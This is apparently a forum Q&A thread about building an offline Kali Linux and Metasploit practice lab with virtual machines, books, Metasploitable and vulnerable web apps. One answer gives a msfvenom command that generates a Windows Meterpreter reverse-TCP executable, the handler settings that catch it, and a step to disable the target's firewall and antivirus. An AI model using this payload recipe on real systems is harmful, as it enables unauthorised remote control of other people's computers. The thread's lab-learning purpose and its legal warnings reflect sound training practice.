Recently I have gained interest in Kali, especially frameworks such as Metasploit. Let's assume that I only have one computer that does not have access to the internet. I want to learn how to use tools and frameworks in Kali such as Metasploit. I have found many books that explain how to get started in Metasploit. Is there any way that I can use my computer as both the attacker and the target while staying offline?
Yes, but instead of that use a Virtualisation software like VirtualBox or VMware to install the victim machine or attacker machine (you don't want a vulnerable machine connected to the internet directly).
Read books like Metasploit: The Penetration Tester's Guide, it is a great book written by the developer of Metasploit. However, a lot of functionality of Metasploit has changed since the release of the book and there is no updated version of it.
So, I would recommend reading Penetration Testing - A Hands-On Introduction to Hacking. It is relatively new and a good book.
The Lab Setup
As you will read the books, they will guide you how to setup your own testing lab. With each and every step in details.
Maximum books start with windows XP, but unfortunately, Microsoft has ended their support for Windows XP. So, you will have a hard time in finding XP setup. Even if you manage to find windows XP, the vulnerability listed in books will be patched (unless you are using some online Pen-Testing lab, I will come to this later).Then you will say "What is the use of reading this book", it will teach you the basics of following things, "How to exploit known vulnerabilities" and many other ways on "How you can compromise a system".
In the coming chapters you will find, they will exploit some known vulnerabilities and gain access to system and will try to teach you some Post-Exploitation (i.e what to do when you have compromised a system). There is one whole chapter on "Post-Exploitation" but you will need to use few tricks of Post-Exploitation every once in a while.
You will find it frustrating that you can't do anything about a patched vulnerability. Below I will describe a small trick to compromise a computer, so you can enjoy some Post-Exploitation until coming chapters.
Assuming you managed to find Windows XP and things are patched and you want to enjoy some Post-Exploitation.
Follow the following steps :
Open a terminal
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(ip of your machine) LPORT=(port you want to connect back to) -f exe > filename.exe
Transfer this file to victim machine and disable windows firewall and AV as it will be detected by any AV (this is not a good method to compromise a system but to learn some Post-Exploitation you can use it). Do not open the file wait till you are done with all the steps.
Again open a terminal and type
set payload windows/meterpreter/reverse_tcp
set LHOST XXX.XXX.XX.X
set LPORT XXX
run (do not close this terminal, here you will get your meterpreter session after running the file on victim machine)
When you are done with all of the above steps you can go to victim machine and run the generated exe file.
Hoollaa! you will get a meterpreter session and now you can enjoy some Post-Exploitation
1- Read how to setup your lab from the book carefully otherwise above generated exe file will not work.
2- You can get your ip address by typing ifconfig (all these things are mentioned in lab configuration section, so go through it).
3- Make sure you have entered same LHOST and LPORT value at the specified place.
You can also learn from SecurityTube about Metasploit in Megaprimer section. The videos are free to watch but can subscribe to them and you can get access to their online lab. Then you will not have to go through all the troubles described above. It's your choice.
I hope this may help you.
The above-generated file will work for windows only. But you can also use vulnerable Linux distro like metasploitable. These are specially designed vulnerable Linux distro and you will find several tutorial and books on how to exploit metasploitable.
Instead of setting up your lab on your own. There are tools that you can use to setup easily.
These are vulnerable applications for you to test your skills and work on it using Kali or metasploit for that matter.
There is a super long list of apps for you to try
Check out the owasp list here
Depending on what you want to learn. Metasploit are mainly for network based attacks. However there are some web based attacks built into it.
You can try out the above with metasploit.
Metasploitable VMs are meant for metasploit.
If you are up for a challenge. You can download any windows machine, unpatched and test on them.
However I must iterate. DO NOT TEST ON LIVE MACHINE OR ONE THAT IS NOT OWNED BY YOURSELF.
First and foremost:
USE OFFLINE VM'S ONLY FOR "HACKING" WITH KALI!!!
If your machines are online, you will be playing a dangerous game my professor used to call "You may be a felon if..." One small mistake, such as incorrectly typing an IP address or using or attacking a computer you don't own, could result in dire consequences. That can be punishable under the CFAA for major fines and prison time.
Virtual Machines: With the disclaimer out of the way, I would heavily recommend that you run both Kali Linux, and any target or other test machines in Oracle's Virtual Box. Virtal Box is a free software, you could also use VMWare, or any other virtualization software that allows for networking options. Once you have a operating system installed and updated on Virtual Box, you can click on the VM in the main window, then got to Settings -> Network. Make sure this reads "INTERNAL NETWORK." That will ensure that traffic can NOT leave the machine running Virtual Box.
The OS: I would recommend Windows XP SP0 for your initial target machine as it is particularly vulnerable. Support has ended for this software, but if you can manage to get yourself a copy it makes your early exploitation endeavors easy. There is also a vulnerable version of Linux called Metasploitable Linux that is a good testing machine for Linux attack vectors as well.
Further Learning: Should you have the oppertunity, I would setup a small netowrk of machines, possible with more advanced features such as Active Directory (or LDAP), DNS servers, and/or web servers to mess with Cross Site Scripting (XSS) using BeEF.
Remember alway to test and make sure you don't have internet connectivity before pentesting your machines. Have fun and good luck!